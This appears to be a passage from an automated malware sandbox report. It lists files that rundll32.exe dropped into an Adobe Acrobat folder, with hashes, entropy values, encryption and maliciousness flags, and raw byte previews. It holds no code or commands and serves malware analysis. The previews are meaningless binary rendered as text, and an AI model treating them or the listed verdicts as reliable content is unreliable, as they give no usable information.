w..@...@z../..p1G.SD@.(..`X.p.qABo.V\|..r..0.\......c.R.....o.sl.D6..qQ(.m....2.0...h....\....K.....O..G0)..{...."}J..>...e..k....j.i~h..h......o.'n.~.N....8.a.'.$(..X.4.P.Of;K'(u.B./...D.V....H.J..7..>....Fv#Vs....1's.3.....Q.y.Vz@.5.a......76.....A.bo$.FQ.....L..fgQ..)...#w-......L.@e.jJ..X.).E^>N.............@.t....(.......Yc.].6........Q..%.k.Q...\|K..i`?.....M[l...l....... x.7....:......k..=.S.G.9.~..$........$......&-..m-DK...1U.Y...V.I.;......0QdY6..e.O'd...{.T.U....dx..........L%(..[..'4..W.xI'...1.G..y......l2Gs. ..V$g...$....]Gg...}..

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	396256
Entropy (8bit):	7.999546784000972
Encrypted:	true
SSDEEP:	12288:fgRCz/D78xgqpsQVW+Lz+ZYBvC3OSfl4dH:fgAz/fOD5M4C3OOlwH
MD5:	62141E0DA23D43B8EFC5520B6FC86E45
SHA1:	B63416E006C9D3ED1D95595848B4B8AB16AFEE39
SHA-256:	27BD2EF70BE565C33B97295E083DE1D01E1920EDF6CF417EC373989F97E1AFFB
SHA-512:	E915B4DEA916BFFF1D128D1B588C8C294B1B3C7399DB6EDC608066737717C685E0EB4F142B594CA54B3A8B83106E638C516198F152CD91EBF08AC80F961AC6A8
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........V.[N.... sg.".Z...........H.B...B..P.kIq..-......5&.[Ywlj..R.c...b.&...K.m..r.w.....yF..L.D....q. C>dc....O.>..8....A.. XwI...~.D........M..J..5d^...I.....2.5...;[/... .....>........-.{[.]GF.p^.)...^....&Q..7..fQ/g.!..?.=. .2.L.pV..&Ui)..l...n.c 0>2..B{.b..(I<.7..S.sN.<.....^.......tb~..Wm.=..S...JG.`......s..0........:.r..8^...P.Cs$8..u.%..].%...\|.p...l..i_.(.`S...q..A.f.J....XZ./5s....Y..E/\|9...B:'6....{..r.S..@..\j....Z.7.....c{-!.A\|w.......6... +..S..M\...A..C=`.s{[.[Jz.?I.eH<..x.....O.....Z.Q.U.........-...R....V.1.L.sL..p..8.6N...1..[..Fv..j...]..v../h.v..C.....,...d.3.....@.8.......;P..W..R./.o.....2......Z.3\|.M....3.r...HUT!..#....t...7..\|..<j.]..A..I.v...RO.;\.......Z...O`...."..n..@Qz.."..r.....c.{..&%....m.BCg..A.].M.a.g.= ........F...7dw.1..N.....d.0O.V .F..+......h...\|..3.(.MH..$.]j.._k.....k..%G.P-E..}..H&/(.,\.#.(.W.=.Y.....Z8.Y.Z.=. .%....4"..b.x..........I*i+...Bg...o.C..@.4.

C:\Program Files\Adobe\Acrobat DC\Acrobat\Click on 'Change' to select default PDF handler.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	186848
Entropy (8bit):	7.999194179880558
Encrypted:	true
SSDEEP:	3072:sJem9ENVDBGOY1ZV0OZtFfkgVrnYHCLXqQ/Q8vc99Y+D70GMuwrMZ+9sdbzM3GlS:CEnDUV1ZVFvlVrnTXV5099jv0VhG+KcN
MD5:	485388B1A8203FACA007320B3BC210A3
SHA1:	F3D71A368B8AE899D8B6B46529A32A0B8080AE60
SHA-256:	659D4D8D74D05008A6927F8DE9E9FA106BF62BA6F25C37A6063BB043FA28751A
SHA-512:	4370B54555A614AD4DB67B503086D44C08F2DA62D0C3DD9C0457D4C0D7CD5AE5EFBD1E8F6243AC169FCF9C349B0C0C1E7C35965AB415966DC27543C63B364F06
Malicious:	false
Preview:	.%.\.>...JN..fP.3...x.o`...g.....3..3...p..w}J\}...jG..,)2.Oz...T.x..g......x._..e.V....j.6D,D.RUl..Roo.....Z^..N\|...8".j=.U...l........P.<3..)bEBT^S..)E.h..a.IBTM.rZ.68...4.~. F.........B\....5.^.1...yM.=B,.+Z.........I.>e..z..=. ..EJ6O.}.~..rj..-..:.0.PH..05b...m.#h..l........46.#.......y.5..sx.%..e../.Uu..i.C..$.......<P.K.S..x.xP-......Z...}..w..C.[~.,.........\|..{g...4..8.px7V.....j...f`.s...:z..?.R.E.R.$.....(....U.....:.K.x..~..wr..x...3...%...T..dk.3.....Z..q...R3....U.....=?VUh.......D..S/.....@J.....x.;...E$V.a..j..#E.}p....h.....R.g..v..'....S.D....Z.t. ^>.X.N.gb.24xJ.M}....{\|......<.1p<..O~....S..S......K......c...SR...km.p.8x6....9........9<.'.P...} ...@.].#...E)qx.....Y..>.....l.X$.'_...#..t.~...._L.J...U..=+.\,..Z.Xh..Y.Y.X.ot...SYJ..#a.(.....n..\|c....6z..L.V....1zn.</..W.&.m.~......;T......8..._. M.8...0R...q.....EK.&...h..t@.P.2,-m.P.e.........N2.Mu.Kx29......_g.Z..Cz......Ed...(*..GS.....-!I..HV..}OV3V.....P.S..Ym.

C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template1.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15760
Entropy (8bit):	7.987846023043197
Encrypted:	false
SSDEEP:	384:CLMWVhR4fWRwu3wZ0IVPsHbxWyuGeLHR8VD4i7I:CQWVhR4eRn3BAPs7eGeLHR8VDbI
MD5:	4F896E909D2A69AFEF14D44DEA781F9A
SHA1:	2AD509C7D7165143AFAA991DE1E122711BBABC92
SHA-256:	56E92F22B215172CBDC6DCBBA8A95B20760B4427D4D27B7748EE16E72BBCE048
SHA-512:	BC1A0481C75CB7F309B8898E82150C2C887EFB9C8ABF0B483490BE9584B0801FB80E772EB4C573054898FC3F07AC016C7012B7D9406DCD77FFF51BE6B9286FF7
Malicious:	false
Preview:	...F.`.D.....`b..J..".#al...O........[......a..PV..o......d..ZV~...IV..=.D.....G}._VQ.i93...t..@..h.{>bO.P.....#....{..0.....L!ol....B.6II....k.....e+.Z......[.A&...Y}Sq..4.$.y.wO..1...}.y.z.qFJ.).1.[.s.o.r...p.'.....>...IaO..N.w..x.......1`.>....me....6@,.K....M.?........i.D...IqU>.YS.....{,.FW..\#.....91I0.....#..tQ....b.41....}....`[..]..:F.<$.5.#tc.u....[..Vz/...%Y..Z.7.l..V.....i.tp....;W.&d..X.."....w.......oj......P...n.7.,..T...W.`.^Rc.&.../C...J.>...}n.....U?...6.....&^qg....\.....?wX..2..>"........hv...h....b#....4`.i..%.g.KY-...]^.:.s5....M.i.....q:..,.......oUy.....]B.Ks).......vC.w.1..7.. ..Z'..`.+.00......T.}.R....G.h+..k.....twG...0.W....6..rz+........"..3...p=D..^.J..Ug.^..._c...k4...lehd..`.ea....L6.@..?.WX\|.m.r...8X"}..W'..<.Y..\."...Pj..z?Y.;}.......w.<..8...h...k..O...:...vKC.LJ.u1.....{..G.....-..:\..=...y(e..G..o...~].)+.S.........E.8~..qAy..n.....K.b.............l')..dz[b...../W...}......j.).31.}......-K..Q..;

C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template2.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29424
Entropy (8bit):	7.9937945295801915
Encrypted:	true
SSDEEP:	768:YZRwXYc3oAYOSj1iEnEQ9fk44m3pzzGBq85Lbvv:YZOdoR/kQ9844Kaxbvv
MD5:	95160956E5F8D8AF2FD560B0069D366A
SHA1:	48223D3B78908F73301AE94EFB66510FF30DA47D
SHA-256:	8C25CD124472908679332C90F052F2A6FF2A20BAE45D8920638C15D0AEB8B0C7
SHA-512:	A3C3B5A569E8514928EE9CE89E67123C219247512ABD0762899161F1AC9048855FCC22BB47A9AAD96FADC452504B56B2C903441B3DC07BB4E06424DDE8FB6B35
Malicious:	false
Preview:	...F.`.D.....`b..J..".#al...O........8su.....d.7..%q.@9\|J..V.. .v:.D2.........".b7\...\|..Z..!^.Qr.y.....?...).(!..E.E.).4.e.....!...I.Q...k.' x..}m....\|.L.:.,.x..5...eQ..]..1.).......L...D...2(.H}..\|LIb.$...2.9 .....+.d...P.1.K.4P..i.....`...z..........Ga..l...}....lJo.T.h.4e..._..6......\..jE..M#.2.z!..{A6.w......9.,.J....4<..k..O.#....Ia........<}.m../...5.P". ,.p.\..?.....Y..^..b....\v..%a....,6..&S.y/K.0../...~h. z.4c..i.V......7..@Q\|....A.@E....H......U.<@.c.^.z..3...I.N.F..8............tG.A. ...`.+...n..Ev.=F........R...."$b....n.S...w{..F....$...vU.'].....H!.D.{...b.`.f.....)...].......l..X..+mu..gx.....-..{...)....?^"...o..C(V2CM~....?.U.qw..g-.....D.s..^...Z.D\|. ,..z..]H...."...!.....4...H....1.(.....s.f..6.....E9.....H)w.dD.;.D...!.2.?......v}-....D8h...,...Y..f.kr...+j.DZ..x.L.,x..?..C$....PJ..^.I=6.L.;......=%e=..3.hN[G...S8....G.1Au....M....26...=3..o6.aZ...mXz.Kq.HI... +69...O.....coL7..p.Y.x7.Cy...+......\.3.%...p.h{.D1-.=.

C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\ENU\template3.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	26256
Entropy (8bit):	7.993052104279359
Encrypted:	true
SSDEEP:	384:ED113uyNjy0eTrVcHVs4Trp291W8Rt052FLSOK7gBKN0vIX8I4caWX3KCw8YVks8:A3Bu1W+4c91W8rM2Fm7gENU2WUbLio
MD5:	CE0D6C68EE278B66773B2900D7351C92
SHA1:	6E6351C17BB0BE546C1B94860A45498EF08386D7
SHA-256:	0D299068C0867AE34BB7368A964D7B8CAD16E991F13316D4523E7B99678D9C78
SHA-512:	6C80ED1FEE5149525428EB76F659A5FB29BC05E840A3958A11CD1C10A4B39B69F1BC27EE4A387DB2F3778294DC415341EC9453872BE5006E7E95853A2816D040
Malicious:	false
Preview:	...F.`.D.....`b...... ...3..#9...../ck..E.C...OT<..6..py.N_..9{.z..Z..L.......o....<U.....:..l.G.:....q.Ud...CNI.jY<...V.X:.).0.\..2....r%.l......\|...z....j4.DO[.....?3(A...p.....}U}....D(.f.p.S.........<.D...S..$>r...1.@8_"..G{+.C....9.M..o9[0...g.OR.6.3..6,bT.3...m..'D..K..)p,...L=...B.fe...Z....>.l.K.R.?.8\|...r.#.....!...k..'.:..c.t'.].t..:.Xj....{..p10.......N...........w....`/?~5.E...E..c..H.(x..y....3.0P$...k\... p.r.v..'...l.e/.....p ?...&...u..M.1.}...rj... -xEK..Ah.....<.Lm5..&6bp.8.....wa.:...x./...h:.!......WRF.S...L..]....5a....~3.xw....=.....0n.....<..Y.Kc.......6....&.5.AqMg..)..=K..Es.i.zV..s..+...sq,..=.1co....@. q9.`o.......g..HD.nr.1,...(.a......,g..J.r....!....f..'O^g#..PN..o..df..2GM.VC..F4H...u..^.a.Y..rG.$2...z}....}...zR.v.+..u4...3K....X.m9..~.\0::b.NUn.PO.%.'{.8n7"u[c.:,.?O......l.j^I.b......'.$..\...<?@..e...t0s1.v........7!....@4s.z:3..p.^..n.QE.L...R.b.~.3.G......;.(wv......\T.Y.9........+..~....S.b...''z..X

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	134624
Entropy (8bit):	7.99862575132114
Encrypted:	true
SSDEEP:	3072:BDspyTgMiy0HT2TQ28vOigy79kSE/DFOVboFOadhHXfimY:BDspGiyODPkSE/DFOVcFxd1XKmY
MD5:	F6ECBF9770E5282B63095E7CB8472551
SHA1:	C8726770C058856ABC3E57823F0839B369755135
SHA-256:	F58C53E3A38E83CC8104BF3B11E6F03C1CB93EE730FEF72681BE37AB896189B5
SHA-512:	2ED8FC455A3FE6465F922A0147C5998878D203F387AE6D96663F662921A0155E79FACCE1CB680671F49AC29EB8D2002AAE7C1298862A5D23F1F56E9BFF965268
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$.......W...>......p..c..:M...o.>.h.....u5.K...4Al.vv8..L.}.B&.t7.~.....v..#Vb.M.H8UF..!.9...`.,......[...:....I!.oa..._.5c8o.......0..UQ.V$:....3Z.8.s..#..a..r$....lb#G....Y...y..Sp...u."...\|..h......v..Qp.m.......A.d..m....g.P.......7..@.....&+8.....m.G)....!.d...~e.......c.t...<.nz..m..a.......H.I%.....b.u$....fF................N.@..a.5....p..I.[.a:..=..0.LB...w.........z<<.Z.\|...C.&..].F0No?o`y_t%<..'.O..Y.Ik[-..Wb......%..;...B..^~.EP..[4.....o..B.pu9....L....x.n0.$}...H.z...,Y.~.K.y....M..om;.]...9.Cg....K.O.x.'....6&Z:...)4.y<.3.u..U......F..jx1i..d.H.Hj.bm...i....T..A_Y..C..}.x.x..`.......e......&&f./....VH'C......m>.I..<..9..G..~.dR..c.^C....s....F.....db.'o.e..+.4.2.I...1p.v$....c.bLVd.O.K.Z.,.j.....k..-o..y.0t..I;n...P...........$q..\|x...D}.&..t"...Qz...Mi.....s..c...N.,.%#."...C.7.^8.........M.;.t.\..T...RTec..!f......M}.+5....t_..K..1&..d\|.../6s.Z.:sX.x..r..abF...,.....] ....Yi.....+>&

C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\ENU\template1.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61376
Entropy (8bit):	7.997689471559768
Encrypted:	true
SSDEEP:	1536:gkujoGhHrfTfAPsds0uuvxDm6VL2OW/ZrZS:3uEGRYPsdvPXu2
MD5:	52FED60101E79581BA1B0BDBFC2979BC
SHA1:	294F1F7B555328A44ADB796621513A4E65666E51
SHA-256:	8F0DDCF01F3A45F76BCE62BA35D4CAFBCCF99532ABA47DB10144F24A1DAECEDE
SHA-512:	72BA8B1881FBBF870BB28A6276268D71109E988F9185071AA4C97E2B21738132DEA1CF6F0F8F54A5714C3ED2EA05D895EDC44A7A9F661433BB58A0A3CA3EDAB8
Malicious:	false
Preview:	...F.`.D.....`b..`Q".. .U.....3i.ZP.-.k.h........./:?.u.`aO.S.p..Y$.Qg7..75..T..~c5.,.H.#.y..=.T.t...W.....7..$......'.hO=....H..../..X.\|\.h....PE..x;}...1$...hP.<.$.r.....@.1...?.$W....y.}...!..1..K[.(..k,v.O.......".[j8u>..@.:H...9T68...).rz..5JH.....E...C:.\|..C...6.o..Sd....U.u..........=/...C....y6......).ld...eWV7.b.2tF .i.......2.............0.1v........})....8x...3_.s..+^..pq.I...v..q.G.D..\|.^~.....Y..T....._.......#.t:H.X.0o....o`..&......<.z....r$.kry..X-7...>=....g..7h...)....I...p..U..G...P...#.-.5.U....n.gX.s.+I"1r..Af...fg\.a:z.Q..;4...8...jG..D..#s.J.I....dv......e./.k.V^....u....a..........f..H.o.....eZ......9.Tu........#w.T..D....~....D.A.9WL.SZ.......s..f..LS.\|.......1...xh...L.Edf7.G.._....@X.a...2..W$=v.=.>m.X..6._.~......f...j'...up5p.[o..mx. xH......).S..!(...8...\|+q.^.'. .)2A\4.S.$@.IH..Je........I..*.{R.]...D{.#..N.9[......Fn..E...._.....0nv.S........`H......S...7.l.Ih..e..o.6.F4N6O..h.H.C....`.e..H"<...2..$...,......\

C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\AdobeID.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	82080
Entropy (8bit):	7.997809007659709
Encrypted:	true
SSDEEP:	1536:31TRBt9M8zmXKAlAwEhjN7nhI+C9+yy2gWW0GCjcDbzL0COdTwPIVlpjRL6j:HCdKAuxV++yy2gWW0GCjKeOILI
MD5:	6E8151A54E79EDEAFC81D1F9117859D4
SHA1:	5015030601670AE36E7DFAD1E7E5AF8474E37AB0
SHA-256:	A7CD1433EE29A5452E75446828D9526DFB31E1D8B2C5264CE59BF287F5F09228
SHA-512:	9BF5A94E131EF8C784A12F6A83D7FAA1CAF06C81FE15C4B1971CB813F4D65F3E0D6D888BAEA1863384C165506DD5F6F7D4F2083AB3ACE58664101DBF4620F233
Malicious:	false
Preview:	...F.`.D.....`b. ..........s...O...g....c.Q...a.'.F.KY.,sM.?.i..Z.6..?.BY.6.V.%...HM(.t.\|e...lOcn.....,.-'...n..n..1c.....4p.1...nO3{...$.........fx.P......>.^.O.7c..y....{...O.:.I.s#.S..Y.\|....t.!5Q........O..)VU$.e..]..._:b!Tv...mE..............4.!....T4(...[Z=45O.@...N.4..a.QYF_..._..%..0..Yy.....^.G..>..>>.N..\l.B.q.~q`B......MQ.6H...cS........[..MR;...5/^......X...2..@.....w7.....gwV...nz..t.+...r.`@.K.........:..g..>.z....p..Y.TEO.Y...(.BI......4...C..x.K!q....o..i....67#c.q..0S;.m.\..}/.$.y......4.D...W.....63....cpS.:...D.......v..R....q..y....VC.>.I.t+.h.x {.h..Q.cBr...{!R"=.i.Q..H_..J..Uu\| .<a6..c..).....>G..(...+.".U..1U..h..........@......S........IW...z...y..r.k..-.I....c..W3..2.....a.=..V..,..vW....K.g].7.....E.Jw:d....1.G....g.S.[..g..xX....i.....Rq...3R2v.E...?..$.Z..9.+'.%i..<..}..YW..'.U<0...B.)BJ..x...~)..3z..n...B}...^./...X..n.....ITG...3......z..h.[...W\|...]l..kkT>[......l.e..oH3.......V.....(...'...

C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\ENU\DefaultID.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	80656
Entropy (8bit):	7.9977699912307445
Encrypted:	true
SSDEEP:	1536:wS5p4qmT5QbhY4if3xZJSQaYk8gv9nCWvnUcr5HsHYsazbmvkZtFSQkJoKL:wS5Hm1Qbi1f9kd5CWfUGBsanmutFKL
MD5:	8A0F5763A193B5E1906ED5264716E38D
SHA1:	8DE9BBA1AAD670E4C21FEB73BE8C97C1879DF230
SHA-256:	08BBA2B1332FB619A619D38A04A63CE06FDDA017289D4A906BBAF3C4A00AD397
SHA-512:	85BB6E66CB9EEEEC8915D26921DA2A17C4C21E7AABB1CE302E6CC1079BB7646651F6334D32A6DAC744D2AE53D904BD06926BB96F6561A6370D74A425E6760825
Malicious:	false
Preview:	...F.`.D.....`b. ..........s...g@@.E.....8.z...w..fP;..W..p=x.a.........L..'..~N.~..g....j8......G....o..4\|}R..83D.P...c=....Tim.q...]..E..#.....y..l[......>...g...{R...U....@{..2...............3.a.]....o...#.U../.Sa.."(.....A."\|$@.....lYa.)J8...>\...j.k~.a.......I.%nJ......Dn.R....F......v.\|....H\|.g".K.hG:L.%....[...W+J.<(,g....W..12. .].-..=....D/.X......H......Y.qSz.2.t.tj..g.E92.9.R...A .Nf..5....v..[r..S....ZIh.._.......5{.>....m.....S..k...O.?......UdB.....0.Or.j.J...;.p.........hl..Z.q8....{.0.b...R...;..\ .~...0.....Y.BN..O\|.....v....Y.aP7wa..E.....m[...VT.F...}%7..D"...,.....r.+.-j.\|....Q..o...R..ST.sU..........A.D9.%.f.;,...!Ae.Cb..........v.7........l.Y.e..,x..uC.bO...=....,.Z.....;.o..@.G...(..L..4\|...C5..h&.:M.........3..^...Xx{...B.l.N..iY{..]j"#.i.\|..h..<v'.Nri5u.@....."..~.3.7s...U....N........MU..+r.@E.m..p...Z..I...X...t#...f..."Iy..h.".W8..g.G."....(f.wO.(.U........ac...[v...1].....u....T')..'"...w..>:C.@..v.

C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	470496
Entropy (8bit):	7.999600932060286
Encrypted:	true
SSDEEP:	12288:oCzgUEQ2Zv8bFoA0cEShHbcQAKRcriASaQ1BdJFz4GL:5zgUz2xgYjQP1ArQRJB
MD5:	407A88803B9B4311B0178109F43E169E
SHA1:	A1A72F410F6C31BC3BBF75F7E6C924F5E22359E6
SHA-256:	EA42D2C2F8C9E8446ADAAFE5A3FBD7D6B55E6D9894915FE7F6FD9106EAB1B4BB
SHA-512:	E2E1FEB89DCAD36211C795FDE02AF42DDCC8967BF1BE9FF89D9DD1F18421E9CA11F5032FA3CDB0953BB9437CACF452F33E7A4C3595175A762087B17649B12A7F
Malicious:	true
Preview:	.......?...:....!Rkl...b.sl6....l!e..u8...n....2e?..E........~..l`.wn[.k.....R.cRT..\|.Wz_._...s.R..U..=-P.m....].. .S.c......vJ.!B.+0.`....S.......A...@.b]....K...t.0>.;..2>...r.....;\.(.m.o....\O....ts.<.Z@....<...z.] &....0U.R..8..I......L{....aB(.W3.g.....(v/>..af..p.sz.^....[.1RN.wL.q.(...8j..\|..s..D...RpU....%.....O".x[.5^.....mQ.u4.b.g.+.../gz...1].....b.....d......d.p.mL3a..:<...G.:...U.... j.!...\|...dU..c.....j.-^.']. $....].=...5Z..W..A.T..Y.^.Z.r."ut.B..BZ.X.W.k...E.Yl..K........8..\|q...N.......bb.tF/..S..lVT....g~.t..X%fb.]...(`hA...7s....f.d.)....$...+..gy........>,.G..7..R."..'5v.......=.!....V.B...n{I...._..,a).5......`..X.ep-.%.iV:...`...o.:...R.._..;.l.@...=..M..v.n...I......$U.o..f..%,...9.n.Q..r.A.......6..z;%.3.1....XD/9..AcwV......'....#...CpBs:..0L.x\I.b.......5...=..<....%..[Xh.....&...`"(.;..]..`F..L..p..x....A.k.!(..'Y....{.7.....b....)L..=q.E..6..Z....%rR..P.`.j*..8U.U.M.`..,.....&.).iL..ZwHF.i......."\|..:M

C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFSigQFormalRep.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	468208
Entropy (8bit):	7.999579674249822
Encrypted:	true
SSDEEP:	12288:W8PaSGtzDjooZneLubX/VrSYJ6YeyMf9aiOTfueRSMfgV:BP12ULEPV+YC3MiOTmeJfgV
MD5:	A4055AD8922627878D8C056AED2F3662
SHA1:	6CD95282459AFB993D736DD62C5C5C7C467DD44E
SHA-256:	230F01CF35541F2F9B8D7DE86AB251B29D6803B18EAC524EED2B18E30BF75A10
SHA-512:	92B7ABFCFB4C6B5A25568CC6141AC27153B848496F347F61F895E2CD80F7E5ED03A06B608BB673403B2E6A4E312BB54F268F645557C77E04283B08EA1194D741
Malicious:	false
Preview:	...F.`.D.....`b..x..6..(.(..DE...c.YNk...M3.l:x.I......@C7.2..H... .I...&.G:...>nj..0U. \|...".P3....\....ck.h..>z._...@..7Y....f0.K...L<ue'.>.{.Z<....].({L....u...^.......(..a$j....@&......`......i.n....-.@.....S..&.@W..}I\s....D.1!s..6.)-.....oV......@..}._....!....pG6A...>-..l...^...GP......{p.Ecy=N.Q.!.Y.4...\|..f2....;..FX...5...:..A.....Wf..k..d.7...e7...K...G.4.1/...I~.....4.)B.D5.....N......T.uv...I.].+R..n.h.`7Um.+.! GA.Qz..q.u.\|x..e.oL.5.t......:49m.[:F.'.j..I...0...\..B...].E.......xt1.^.%...h...,cQ..&B(.n[...c:......'..j#.....O.)..c...M.......?C.... ]!A..@....g.....^Q..@5.".w+pDZ^...E.>.C.dM.....nq.'.. .....`..@..l)E.g.LU.Bq........+..Xa..%D9.Cz...z.....:3.?OO.......z..u.l.K..6.q..O..\|... z.\|..&.,.14.a.O......"@.].;..,..\|....l...2j.;1F\|....;..O.G....N,.....x...".\|....,.g.q?.........S...6^....?......g.A:.;....@..y."\.......'...8+n)....`....K....S..\..y.*Z.JZo..5.I......r....5..Vs...p.....c..l_..X1..s.f..!...c."

C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	218288
Entropy (8bit):	7.999139092098637
Encrypted:	true
SSDEEP:	6144:RJfLpR2Uj+gjaYG3+8vdP9achzFiN8PV2fP99qb:z5+g7s7scV2fl9qb
MD5:	D2A467B7EE8334CE7D470C6CAF59C964
SHA1:	08C15C17F368D0B786367939320A05EDFA28B6D3
SHA-256:	C3AB6E43559E6DD4D7DC4B8B2FB56F7DD86AE99CC92D3FED334EC204F5203827
SHA-512:	ECCA8B90CBF26EB3A52DFC7C6874A1A0531AB18C66148DDF05253BE51F57F3D3EBF8B4E470A86F9867365B05412327B56519746A204DCF470760F8BB84C0CC30
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........X.../....S}s..l..}..j.B..j.Z.+...<X.$..X(w..`x.s3............>.5..F......2<$.[.....J1............e.........8.=.l..#....6..:.8>...J..r..9.!...]).\|..........b@.P....~.G..)^.,#A...m...#.+........[..`.....f.C.....bv..5.d.P..b.ag......_..WOJ..].G8.-B.....t. ...`h...<..U.i....Bd..]..5.d.J...?...^WM`k9]..-..%.#..f.2.]....q.z...o..p.....I.3.....7..b....;.[l`.0....rP...{.,W.+!.A..X.....\|..1;..R...oH.fp.!..un2'....Yj6O...P+._.._...9 o..d.@.s.!...]}0..Yf..'B.._;%..{!'..-..HV$'Sh.G...8..v..'.j{.Y..'-....D...1.o.?GF.h.W...[q....@7...%)r...1,l......oU{.Mq=...X-uJ$.S...j..>.....y..-.....d.G.q.l.9/....C.jq.. ;..C...&.4,..v...5....=..W..bJH.u.8...bRF..h1v4.e.S.U...`.).k.Q.."..No..........I.......A....g..\|...b.g/.W.5.....t.]>....P.s._...].W.^..2.mOd...3..Rt0....K.@.K...A......A..f......^.C..../.G.\...1.....N1....L!4R.B...!F......!+.?..R.'.M....F..o.. ....}'.....T.M.C...8.......p.v........k&.J.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	24032
Entropy (8bit):	7.991100735770633
Encrypted:	true
SSDEEP:	384:JhbKQUPqNRcEmVFz28/URiBZIHlZZQWwWXAPd9oRLEsUHLzl+du9r7cOUwaWe+x/:JRUKRq+RAKFZ6Wrwr/l+dIUjWtxtzRL
MD5:	DAAA1639021BCAAD8132409497DC8AEF
SHA1:	C65F56EB7C2C686EC469038D61C3EEE78B7394B3
SHA-256:	40008041E15A4988B0AEEBFAE080B117EF3DDE5C635BD2D9BBFB63190CB052FE
SHA-512:	50FC0CCF4502B031A7BBFE275DB2260E5C9C50E91B0B77505C4657E54DFC5295F9D08A8FE4A4C28D42E444AAAAA63E01024E8A0A7D83BD48C7C027D2F69DB650
Malicious:	true
Preview:	]..'.6^...2.[..J .M...........L5.v$........V.[N.... sg.".Z...........H.B...B..P.kIq..-......5&.[Ywlj..R.c...b.&...K.m.>.#.O.1L6....._:.....XR.....+[i[..O....a<I.D.. F...9Su."<.R.q2b...8S....7X.;"Q#.v..F$."...j.PL..t....a'..c.qY._...'......'......U3.f..H$...u..E!..h(..=.4E6.E.&.K.il..p..c..?./..K.../.v......D..x.u5o..P...vsN.Y....\|.GQ.0......b...r....6P..'..J)V.ow.{...P.x......C?..T3s.?w.>....{...k..;5.iA..O....C+P..&`.1TR.........\Qr\|....2..1$....../mP.....=F...J.....%\e..Ly..F..H...Q.e6j37=.R.2xC...C.K8.I..#.1.u........EJhi..C.p..........m..kZ.+.8.uF.l&.$......T..[...d...AR]-..>:.O\ .:...>H-..y@.....g..D..f..+rhC\|..m.W...=.{......rj......{.O..+,J......:..s..h...........z.........*EH_a....h..."j...8....XW..Dj.'.Ju...19b..&-...G:J...x..8~.+/.Z...];g..X..0...I[\|R...)q...zK..#..(=..~/.).o.N\s./..\|....t.c..tm..!#K........gRKd`4..-..'.]2/!....H.z..H7.5.u.}.^..1...`...i..K.i..........yl.W..Nb.h.M.i...R.&...f...Q.O`.JBS.....7.l\|J..>...

C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\A12_CrossLarge_24_N.pdf

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4112
Entropy (8bit):	7.954089205286475
Encrypted:	false
SSDEEP:	96:dE5iezg+yJPdfq1J9nyYEYjMS5kibtFALsUSFvGrhwS:1ayyJ5RECr5ki5USBGH
MD5:	FE10689BE3C5B5671930BB570705D454
SHA1:	FE0C64E2E094EFC2675A56BEBB10929D29F83F11
SHA-256:	CA43EB08A41EB39DF086167654758D93B0EF62923396153DD391E079589FD1A6
SHA-512:	2F1019C4697903A00A9875B462C306B18DBFF9AECB611B696412058708AC33391E359684AFC435988E812944C32B7CEFD74543D33CE034E254F20252C2BB1D87
Malicious:	false
Preview:	......\....t.2x2.P... ..{w.b.D.=...Y. ..M..SL.....3..E..\|......\k...f-~d.............-.di..7....s.6...#.N.S...\R6.Vb...]._..Q.\.y~Lb....%..- v..!....}.d.4mS.h...&.....9.W...5#....J..AG..A...g.gf.....c..T.y_...+.../.@..1.....@Im.....l..Y...x..A..Y....<..a......G..w;..... .L......].z.C..#..J.6..}.?.P.P.y..e...y%.R..>..h.#.K[nJ.r......-.].Y......6.h%g\...A...+.#N4BMIM...`.e_\....S.Mv.(K.GS.....[.lhh..}..i+"..q.. A.b...!...3.ow..;...R.....%B.I.b.l..!.Z..o..!.....C..1.;{?...... ..U.3. `...c.:...eZ..g..j..-.y..s.D.{...v...._&.....2 Y..T...F./.Qb...b..^dK.=z.R....%...5..e.HR]{........:./..gG<..c.k...4.Yf.....}?.1...:<...}(..k.D.. r\|.e.....2....)a......@.......\IS..>;....[..u.5..!..4<-..=xz\..F 